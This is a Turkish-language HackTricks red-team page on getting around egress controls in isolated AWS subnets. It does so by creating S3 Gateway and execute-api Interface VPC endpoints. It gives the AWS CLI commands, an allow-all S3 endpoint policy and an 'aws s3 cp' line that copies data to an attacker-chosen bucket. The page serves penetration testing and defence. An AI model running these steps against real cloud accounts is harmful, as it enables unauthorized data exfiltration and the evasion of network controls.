AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Özet

Bu teknik, Internet Gateways veya NAT olmayan subnets’lerden exfiltration channels oluşturmak için VPC Endpoints’i kötüye kullanır. Gateway endpoints (ör. S3) subnet route tables içine prefix‑list rotaları ekler; Interface endpoints (ör. execute-api, secretsmanager, ssm, vb.) security groups ile korunan private IP’lere sahip reachable ENI’ler oluşturur. Minimal VPC/EC2 izinleri ile bir saldırgan, public Internet üzerinden gitmeyen kontrollü bir egress etkinleştirebilir.

Önkoşullar: mevcut VPC ve private subnets (no IGW/NAT). VPC endpoints oluşturma izinlerine ve, Option B için, endpoint ENIs’e iliştirilecek bir security group’a ihtiyacınız olacak.

Seçenek A – S3 Gateway VPC Endpoint

Değişkenler

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • RTB_IDS=<comma-separated route table IDs of private subnets>
  1. İsteğe bağlı olarak izin verici bir endpoint policy dosyası oluşturun. allow-put-get-any-s3.json olarak kaydedin:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
  1. S3 Gateway endpoint oluşturun (seçili route tables’lere S3 prefix‑list route ekler):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json   # optional

Yakalanacak kanıtlar:

  • aws ec2 describe-route-tables --route-table-ids $RTB_IDS komutu, AWS S3 prefix listesine giden bir rota gösterir (ör. DestinationPrefixListId=pl-..., GatewayId=vpce-...).
  • Bu alt ağlardaki bir instance’dan (with IAM perms) İnternet olmadan S3 üzerinden exfil yapabilirsiniz:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION

Seçenek B – Interface VPC Endpoint for API Gateway (execute-api)

Değişkenler

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • SUBNET_IDS=<comma-separated private subnets>
  • SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
  1. Interface endpoint oluşturun ve SG’yi iliştirin:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled

Toplanacak kanıtlar:

  • aws ec2 describe-vpc-endpoints endpoint’in available durumda olduğunu ve NetworkInterfaceIds (subnet’lerinizdeki ENI’ler) gösterir.
  • Bu subnet’lerdeki instance’lar, bu VPCE ENI’leri üzerinden Private API Gateway endpoint’lerine erişebilir (İnternet yolu gerekmez).

Etki

  • Perimeter egress controls’u, AWS‑managed private paths to AWS services’i kullanarak atlar.
  • İzole subnet’lerden data exfiltration yapılmasına olanak tanır (ör. S3’e yazma; Private API Gateway çağırma; Secrets Manager/SSM/STS’ye erişme, vb.) IGW/NAT olmadan.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin